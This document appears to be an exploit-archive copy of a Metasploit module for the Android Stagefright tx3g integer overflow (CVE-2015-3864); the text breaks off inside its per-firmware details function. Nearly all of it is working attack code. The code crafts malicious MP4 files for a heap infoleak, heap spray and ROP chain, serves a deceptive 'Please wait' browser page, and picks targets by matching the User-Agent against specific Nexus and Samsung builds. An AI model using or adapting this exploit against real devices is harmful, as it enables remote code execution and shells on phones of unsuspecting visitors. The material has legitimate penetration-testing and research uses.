Home / exploitsPDF  

Android Stagefright MP4 tx3g Integer Overflow

Posted on 27 September 2016

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Android Stagefright MP4 tx3g Integer Overflow", 'Description' => %q{ This module exploits a integer overflow vulnerability in the Stagefright Library (libstagefright.so). The vulnerability occurs when parsing specially crafted MP4 files. While a wide variety of remote attack vectors exist, this particular exploit is designed to work within an HTML5 compliant browser. Exploitation is done by supplying a specially crafted MP4 file with two tx3g atoms that, when their sizes are summed, cause an integer overflow when processing the second atom. As a result, a temporary buffer is allocated with insufficient size and a memcpy call leads to a heap overflow. This version of the exploit uses a two-stage information leak based on corrupting the MetaData that the browser reads from mediaserver. This method is based on a technique published in NorthBit's Metaphor paper. First, we use a variant of their technique to read the address of a heap buffer located adjacent to a SampleIterator object as the video HTML element's videoHeight. Next, we read the vtable pointer from an empty Vector within the SampleIterator object using the video element's duration. This gives us a code address that we can use to determine the base address of libstagefright and construct a ROP chain dynamically. NOTE: the mediaserver process on many Android devices (Nexus, for example) is constrained by SELinux and thus cannot use the execve system call. To avoid this problem, the original exploit uses a kernel exploit payload that disables SELinux and spawns a shell as root. Work is underway to make the framework more amenable to these types of situations. Until that work is complete, this exploit will only yield a shell on devices without SELinux or with SELinux in permissive mode. }, 'License' => MSF_LICENSE, 'Author' => [ # Exodus/jordan # initial discovery / disclosure 'jduck', # Metasploit module, further infoleak development 'NorthBit' # intiial information leak implementation ], 'References' => [ [ 'CVE', '2015-3864' ], [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ], [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ], [ 'URL', 'https://github.com/NorthBit/Metaphor' ], # Not used, but related [ 'URL', 'http://drops.wooyun.org/papers/7558' ], [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ], [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ], ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, }, #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], 'Targets' => [ [ 'Automatic', {} ], # # Each target includes information about the device, firmware, and # how exactly to about exploiting it. # # Primarily, these targets are used to map a browser's User-Agent to # exploit specifics for that device / build. # [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)', { 'Model' => 'Nexus 7', 'Build' => 'LRX21P', 'Release' => '5.0', 'Rop' => 'lrx', 'SprayAddress' => 0xb1508000 } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22G', 'Release' => '5.0.2', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47O', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47V', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)', { 'Model' => 'Nexus 7', 'Build' => 'LMY48G', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 7', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22G', 'Release' => '5.0.2', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47O', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47V', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)', { 'Model' => 'Nexus 5', 'Build' => 'LRX21O', 'Release' => '5.0', 'Rop' => 'lrx' } ], [ 'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 5', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)', { 'Model' => 'Nexus 5', 'Build' => 'LMY47D', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)', { 'Model' => 'Nexus 5', 'Build' => 'LMY47I', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)', { 'Model' => 'Nexus 5', 'Build' => 'LMY48B', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 5', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 6 (shamu) with Android 5.0 (LRX21O)', { 'Model' => 'Nexus 6', 'Build' => 'LRX21O', 'Release' => '5.0', 'Rop' => 'lrx' } ], [ 'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 6', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47D)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47D', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47E)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47E', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47I)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47I', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)', { 'Model' => 'Nexus 6', 'Build' => 'LYZ28E', 'Release' => '5.1.1', 'Rop' => 'shamu / LYZ28E' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47M)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47M', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47Z', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)', { 'Model' => 'Nexus 6', 'Build' => 'LVY48C', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 6', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)', { 'Model' => 'Nexus 6', 'Build' => 'LYZ28J', 'Release' => '5.1.1', 'Rop' => 'shamu / LYZ28J' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)', { 'Model' => 'Nexus 6', 'Build' => 'LVY48E', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)', { 'Model' => 'SM-G900V', 'Build' => 'LRX21T', 'Release' => '5.0', 'Rop' => 'sm-g900v / OE1', 'SprayAddress' => 0xaf008000, 'SampleIteratorSize' => 0xa8, 'VectorSize' => 0xec } ] ], 'Privileged' => true, 'DisclosureDate' => "Aug 13 2015", 'DefaultTarget' => 0)) =begin register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) =end end def exploit @peers = {} super end def get_target(request) agent = request.headers['User-Agent'] self.targets.each do |t| next if t.name == 'Automatic' regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}") return t if (agent =~ /#{regexp}/) end return nil end # # Construct a page worth of data that we'll spray # # NOTE: The data within is target-specific # def build_spray(my_target, peer, spray_addr) # Initialize the page to a reasonable state. page = '' page = rand_text(4096) # Load target-based exploit-specific variables details = get_details(my_target) return nil if details.nil? # Calculate the libstagefright.so base address vector_rva = details['VectorRVA'] vector_ptr = peer[:vector_vtable_addr] libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000) # If we smash mDataSource, this ends up controlling the program counter!! =begin 0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0] 0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0] 0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0] 0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4] 0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28] 0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10] 0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6 0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40 =end # Initialize our pivot values and adjust them to libstagefright's base. # First, load r0 (pointer to our buffer) into some register.. mds_pivot1 = libsf_base + details['Pivot1'] # Next, load sp (and probably other stuff) from there mds_pivot2 = libsf_base + details['Pivot2'] # Finally, skip over some stuff and kick of the ROP chain mds_adjust = libsf_base + details['Adjust'] # The offset to the ROP change beginning rop_start_off = 0x30 # Point sp to the remainder of the ROP chain new_sp = spray_addr + rop_start_off # Sometimes the spray isn't aligned perfectly, this fixes that situation... unalign_off = 0x998 new_sp2 = new_sp + 0x1000 - unalign_off # This pointer should point to the beginning of the shellcode payload payload_ptr = spray_addr + 0xa0 # Put the stack back! stack_fix = "x0axd0xa0xe1" # mov sp, r10 ; restore original sp # Depending on the pivot strategy in use, we have to set things up slightly # differently... # # In each case, we use a two-stage pivot that reads the spray address from # r0 (we smashed that, remember). # # The addroffs array is used to map values to the offsets where the pivots # expect them to be. # case details['PivotStrategy'] when 'lrx' addroffs = [ [ 0x0, new_sp ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ], ] # Since we are only popping one item in pivot2, we reduce the rop_start_off rop_start_off -= 4 # Adjust the payload pointer payload_ptr -= 4 when 'lmy-1' addroffs = [ [ 0x8, new_sp ], [ 0xc, mds_adjust ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ] ] when 'lmy-2' ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, new_sp ], [ 0xc, mds_adjust ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ] ] stack_fix = "x09xd0xa0xe1" # mov sp, r9 ; restore original sp when 'lyz' ptr_to_mds_pivot2 = spray_addr + 0x8 addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, mds_pivot2 ], [ 0x1c, mds_pivot1 ], [ 0x24, new_sp ], # lr is at 0x28! [ 0x2c, mds_adjust ] ] # We can't fix it becuse we don't know where the original stack is anymore :-/ stack_fix = "" when 'sm-g900v' addroffs = [ [ 0x4, mds_adjust ], [ 0x10, new_sp ], [ 0x1c, mds_pivot1 ], [ 0x20, mds_pivot2 ] ] else print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!") return nil end # We need our ROP to build the page... Create it. rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] }) # Fix up the payload pointer in the ROP idx = rop.index([ 0xc600613c ].pack('V')) rop[idx, 4] = [ payload_ptr ].pack('V') # Insert the ROP page[rop_start_off, rop.length] = rop # Insert the special values... addroffs.each do |ao| off,addr = ao page[off,4] = [ addr ].pack('V') # Sometimes the spray isn't aligned perfectly... if addr == new_sp page[off+unalign_off,4] = [ new_sp2 ].pack('V') else page[off+unalign_off,4] = [ addr ].pack('V') end end page end # # MPEG-4 specific functionality # def get_atom(tag, data='', length=nil) if tag.length != 4 raise 'Yo! They call it "FourCC" for a reason.' end length ||= data.length + 8 if length >= 2**32 return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join end [ [ length ].pack('N'), tag, data ].join end def get_stsc(num) stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num get_atom('stsc', stsc_data) end def get_ftyp # Build the MP4 header... ftyp = 'mp42' ftyp << [ 0 ].pack('N') ftyp << 'mp42' ftyp << 'isom' get_atom('ftyp', ftyp) end def get_pssh(alloc_size) pssh_data = '' pssh_data << [ 0 ].pack('N') pssh_data << [ 0, 0, 0, 0 ].pack('N*') pssh_data << [ alloc_size ].pack('N') alloc_size.times do |off| pssh_data << [ 0x55aa0000 + off ] .pack('V') end get_atom('pssh', pssh_data) end def get_metaitem(tag, type, data) ret = '' ret << tag.reverse ret << type.reverse case type when 'in32' ret << [ 4, data ].pack('V*') when 'in64' ret << [ 8, data ].pack('V*') else raise "How do you expect me to make a #{type.inspect} ??" end ret end def jemalloc_round(sz) # These are in the 16-byte aligned runs if (sz > 0x10 && sz <= 0x80) round = 16 # 160 starts the 32-byte aligned runs elsif (sz > 0x80 && sz <= 0x140) round = 32 else raise "Don't know how to round 0x%x" % sz end ret = (sz + (round - 1)) / round ret *= round return ret end # # Leak data from mediaserver back to the browser! # # Stage 1 - leak a heap pointer near a SampleIterator object # Stage 2 - read a code pointer from the SampleIterator object # def get_mp4_leak(my_target, peer) # MPEG4 Fileformat Reference: # http://qtra.apple.com/index.html # # Structure: # [File type Chunk][Other Atom Chunks] # # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # sampiter_alloc_size = 0x78 sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil? sampiter_rounded = jemalloc_round(sampiter_alloc_size) vector_alloc_size = 0x8c vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil? groom_count = 0x10 is_samsung = (my_target['Rop'] == 'sm-g900v / OE1') # Coerce the heap into a favorable shape (fill holes) shape_vector = get_pssh(vector_alloc_size) # Allocate a block of memory of the correct size placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C')) # Make the first tx3g chunk, which is meant to overflow into a MetaData array. # We account for the overhead of both chunks here and aim for this layout: # # placeholder after re-allocation | vector array data # <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data> # # Realistically, tx3g1_padding can be any number that rounds up to the # correct size class. tx3g1_overhead = 0x8 tx3g2_overhead = 0x10 tx3g_target = jemalloc_round(vector_alloc_size) tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead) tx3g_data = 'x' * tx3g1_padding tx3g_1 = get_atom('tx3g', tx3g_data) # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only) # avcC was in the initial commit. near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size) # Craft the data that will overwrite the header and part of the MetaData # array... more_data = '' more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*') # Now add the thing(s) we want to control (partially) # # We add some BS entries just to kill the real 'heig' and get proper # ordering... near_sampiter_addr = peer[:near_sampiter_addr] if near_sampiter_addr.nil? # Part 1. Leak the address of a chunk that should be adjacent to a # SampleIterator object. if is_samsung # On Samsung: # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt # After: dmcE, abc1, abc2, abc3, heig... more_data << get_metaitem('dmcE', 'in32', 1) more_data << get_metaitem('abc1', 'in32', 31335) more_data << get_metaitem('abc2', 'in32', 31336) end # On Nexus: # Before: heig, hvcc, inpS, mime, text, widt # After: abc3, heig... more_data << get_metaitem('abc3', 'in32', 31337) # NOTE: We only use the first 12 bytes so that we don't overwrite the # pointer that is already there! heig = get_metaitem('heig', 'in32', 31338) more_data << heig[0,12] else # Part 2. Read from the specified address, as with the original Metaphor # exploit. if is_samsung # On Samsung: # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt # After: dmcE, dura, ... more_data << get_metaitem('dmcE', 'in32', 1) else # On Nexus: # Before: avcc, heig, inpS, mime, text, widt # After: dura, ... near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size) end # Try to read the mCurrentChunkSampleSizes vtable ptr within a # SampleIterator object. This only works because the Vector is empty thus # passing the restrictions imposed by the duration conversion. ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30 more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable) end # The tx3g2 then needs to trigger the integer overflow, but can contain any # contents. The overflow will terminate at the end of the file. # # NOTE: The second tx3g chunk's overhead ends up in the slack space between # the replaced placeholder and the MetaData Vector contents. big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size tx3g_2 = get_atom('tx3g', more_data, big_num) # Create a minimal, verified 'trak' to satisfy mLastTrack being set stbl_data = get_stsc(1) stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount stbl = get_atom('stbl', stbl_data) verified_trak = get_atom('trak', stbl) # Start putting it all together into a track. trak_data = '' if is_samsung # Put some legitimate duration information so we know if we failed mdhd_data = [ 0 ].pack('N') # version mdhd_data << "x00" * 8 # padding mdhd_data << [ 1 ].pack('N') # timescale mdhd_data << [ 314 ].pack('N') # duration mdhd_data << [ 0 ].pack('n') # lang trak_data << get_atom('mdhd', mdhd_data) end # Add this so that our file is identified as video/mp4 mp4v_data = '' mp4v_data << [ 0 ].pack('C') * 24 # padding mp4v_data << [ 1024 ].pack('n') # width mp4v_data << [ 768 ].pack('n') # height mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true # Here, we cause allocations such that we can replace the placeholder... if is_samsung trak_data << placeholder # Somethign we can free trak_data << shape_vector # Eat the loose block... trak_data << stbl # Cause the growth of the track->meta Vector else trak_data << stbl # Cause the growth of the track->meta Vector trak_data << placeholder # Somethign we can free trak_data << shape_vector # Eat the loose block... end # Add the thing whose entry in the MetaData vector we want to overwrite... trak_data << near_sampiter # Get our overflow data into memory trigger = '' trigger << tx3g_1 # Free the place holder trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C')) # Overflow the temporary buffer into the following MetaData array trigger << tx3g_2 # !!! NOTE !!! # On Samsung devices, the failure that causes ERR to be returned from # 'tx3g' processing leads to "skipTrack" being set. This means our # nasty track and it's metadata get deleted and not returned to the # browser -- effectively killing the infoleak. # # However! It also handles "skipTrack" being set specially and does not # immediately propagate the error to the caller. Instead, it returns OK. # This allows us to triggering the bug multiple times in one file, or -- # as we have in this case -- survive after and return successfully. if is_samsung # Add this as a nested track! trak_data << get_atom('trak', trigger) else trak_data << trigger end trak = get_atom('trak', trak_data) # On Samsung devices, we could put more chunks here but they will # end up smashing the temporary buffer further... chunks = [] chunks << get_ftyp() chunks << get_atom('moov') chunks << verified_trak * 0x200 chunks << shape_vector * groom_count chunks << trak mp4 = chunks.join mp4 end def get_mp4_rce(my_target, peer) # MPEG4 Fileformat Reference: # http://qtra.apple.com/index.html # # Structure: # [File type Chunk][Other Atom Chunks] # # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # chunks = [] chunks << get_ftyp() # Note, this causes a few allocations moov_data = '' mvhd_data = [ 0, 0x41414141 ].pack('N*') mvhd_data << 'B' * 0x5c moov_data << get_atom('mvhd', mvhd_data) # Add a minimal, verified 'trak' to satisfy mLastTrack being set verified_trak = '' stbl_data = get_stsc(0x28) stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount verified_trak << get_atom('trak', get_atom('stbl', stbl_data)) # Add it to the file moov_data << verified_trak # The spray_addr field is typically determined empirically (by testing), but # has proven to be fairly predictable (99%). However, it does vary from # one device to the next (probably determined by the pre-loaded libraries). spray_addr = 0xb0c08000 spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil? # Construct a single page that we will spray page = build_spray(my_target, peer, spray_addr) return nil if page.nil? # Build a big block full of spray pages and and put it in an avcC chunk # (but don't add it to the 'moov' yet) spray = page * (((16 * 1024 * 1024) / page.length) - 20) avcc = get_atom('avcC', spray) # Make the nasty trak tkhd1 = '' tkhd1 << [ 0 ].pack('C') # version tkhd1 << 'D' * 3 # padding tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration tkhd1 << 'F' * 0x10 # ?? tkhd1 << [ 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0 # dy ].pack('N*') tkhd1 << 'G' * 0x14 # ?? # Add the tkhd (track header) to the nasty track trak1 = '' trak1 << get_atom('tkhd', tkhd1) # Build and add the 'mdia' (Media information) to the nasty track mdia1 = '' mdhd1 = [ 0 ].pack('C') # version mdhd1 << 'D' * 0x17 # padding mdia1 << get_atom('mdhd', mdhd1) mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler dinf1 = '' dinf1 << get_atom('dref', 'H' * 0x14) # Data information box minf1 = '' minf1 << get_atom('smhd', 'G' * 0x08) minf1 << get_atom('dinf', dinf1) stbl1 = get_stsc(2) minf1 << get_atom('stbl', stbl1) mdia1 << get_atom('minf', minf1) trak1 << get_atom('mdia', mdia1) # Add something to take up a slot in the 0x20 size range # NOTE: We have to be able to free this later... block = 'Q' * 0x1c trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) # Add a Track (hopefully right after) trak1 << verified_trak # Add the avcC chunk with the heap spray. We add it here so it's sure to be # allocated when we get control of the program counter... trak1 << avcc # Build the first of the nasty pair of tx3g chunks that trigger the # vulnerability alloc_size = 0x20 overflow_size = 0xc0 overflow = [ spray_addr ].pack('V') * (overflow_size / 4) tx3g_1 = get_atom('tx3g', overflow) trak1 << tx3g_1 # Free the original thing and put the tx3g temporary in it's place... block = 'R' * 0x40 trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) # Make the second one, which triggers the integer overflow big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size more_data = [ spray_addr ].pack('V') * (overflow_size / 4) tx3g_2 = get_atom('tx3g', more_data, big_num) trak1 << tx3g_2 # Add the nasty track to the moov data moov_data << get_atom('trak', trak1) # Finalize the moov chunk moov = get_atom('moov', moov_data) chunks << moov # Combine outer chunks together and voila. mp4 = chunks.join mp4 end def on_request_uri(cli, request) # If the request is for an mp4 file, we need to get the target from the @peers hash if request.uri =~ /.mp4?/i mp4_fn = request.uri.split('/')[-1] mp4_fn = mp4_fn.split('?')[0] mp4_fn[-4,4] = '' peer = @peers[mp4_fn] my_target = nil my_target = peer[:target] if peer if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer") return end # Extract the address(s) we just leaked... sia_addr = request.qstring['sia'].to_i # near_sampiter data address peer[:near_sampiter_addr] = sia_addr if sia_addr > 0 sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0 # reset after a crash.. if sia_addr == 0 && sfv_addr == 0 peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil end # Always use this header out_hdrs = {'Content-Type'=>'video/mp4'} if peer[:vector_vtable_addr].nil? # Generate the nasty MP4 to leak infoz mode = "infoleak" mp4 = get_mp4_leak(my_target, peer) else mode = "RCE" mp4 = get_mp4_rce(my_target, peer) if mp4.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4") return end end # Send the nasty MP4 file to trigger the vulnerability if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip' mp4 = Rex::Text.gzip(mp4) out_hdrs.merge!('Content-Encoding' => 'gzip') gzip = "gzip'd" else gzip = "raw" end client = "Browser" if request.headers['User-Agent'].include? 'stagefright' client = "SF" end addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ] print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})") # Send the nastiness! send_response(cli, mp4, out_hdrs) return end # Initialize a target. If none suitable, then we don't continue. my_target = target if my_target.name =~ /Automatic/ my_target = get_target(request) if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}") return end vprint_status("Target selected: #{my_target.name}") end # Generate an MP4 filename for this peer mp4_fn = rand_text_alpha(11) # Save the target for when they come back asking for this file # Also initialize the leak address to the first one @peers[mp4_fn] = { :target => my_target } # Send the index page mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4" html = %Q^<html> <head> <title>Please wait...</title> <script> var video; // the video tag var to_id; // timeout ID var req_start; // when we requested the video var load_start; // when we loaded the video // Give mediaserver some time to settle down after restarting -- increases reliability var waitTime = 100; // 6000; var error = false; var near_sampiter_addr = -1; var vector_vtable_addr = -1; var crashes = 0; function duration_changed() { var now = Date.now(); var req_time = now - req_start; var load_time = now - load_start; console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16)); if (load_time > 2000) { // probably crashed. reset the entire process.. near_sampiter_addr = -1; vector_vtable_addr = -1; waitTime = 6000; crashes += 1; if (crashes > 5) { console.log('too many crashes!!!'); stop_everything(); } } else { // if we got the near_sampiter_addr already, we are now trying to read the code pointer. // otherwise, we're trying to find near_sampiter_addr... if (near_sampiter_addr == -1) { // if we get this value, we failed to overwrite the metadata. try again. if (video.videoHeight != 768) { // XXX: TODO: parameterize if (video.videoHeight != 0) { // wtf? crashed?? value = video.videoHeight; console.log('leaked heap pointer: 0x' + value.toString(16)); near_sampiter_addr = value; } } } else if (vector_vtable_addr == -1) { // if we get this value, we failed to overwrite the metadata. try again. if (video.duration != 314) { // XXX: TODO: parameterize // zero means a value that could not be represented... if (video.duration != 0) { var value = Math.round(video.duration * 1000000); console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16)); vector_vtable_addr = value; } } } // otherwise, we just keep trying with the data we have... } if (error == false) { if (vector_vtable_addr == -1) { to_id = setTimeout(reload_leak, waitTime); } else { to_id = setTimeout(reload_rce, waitTime); } waitTime = 100; } } function stop_everything() { if (error == false) { console.log('---- GIVING UP!! ----'); error = true; } if (to_id != -1) { clearTimeout(to_id); } } function start() { video = document.getElementById('vid'); video.onerror = function() { console.log(' onError called!'); stop_everything(); } video.ondurationchange = duration_changed; //reload_rce(); reload_leak(); } function get_uri() { var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1; var uri = '#{mp4_uri}?x=' + rn; if (near_sampiter_addr != -1) { uri += '&sia=' + near_sampiter_addr; } if (vector_vtable_addr != -1) { uri += '&sfv=' + vector_vtable_addr; } return uri; } function reload_leak() { to_id = -1; var xhr = new XMLHttpRequest; xhr.responseType = 'blob'; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if (xhr.status != 200 || !xhr.response) { stop_everything(); return; } load_start = Date.now(); try { //var url = URL.createObjectURL(xhr.response); var a = new FileReader(); a.onload = function(e) { //console.log('onload: ' + e.target.result); video.src = e.target.result }; a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); } a.readAsDataURL(xhr.response); } catch(e) { console.log(' ERROR: ' + e.message); stop_everything(); } } }; xhr.open('GET', get_uri(), true); req_start = Date.now(); xhr.send(); } function reload_rce() { to_id = -1; video.src = get_uri(); } </script></head> <body onload='start()'> <video id=vid width=1px controls> Your browser does not support VIDEO tags. </video><br /> Please wait while we locate your content... </body> </html> ^ print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end # # Return some firmware-specific values to the caller. # # The VectorRVA field is extracted using the following command: # # $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE # def get_details(my_target) details = { 'lrx' => { 'VectorRVA' => 0x10ae30, 'PivotStrategy' => 